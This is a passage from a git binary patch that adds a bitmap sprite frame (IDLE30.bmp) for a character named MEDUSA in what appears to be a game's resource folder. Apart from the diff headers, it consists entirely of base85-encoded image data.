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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a72ca5d344f399688b6091b9b383c9c92d657127 GIT binary patch literal 18462 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 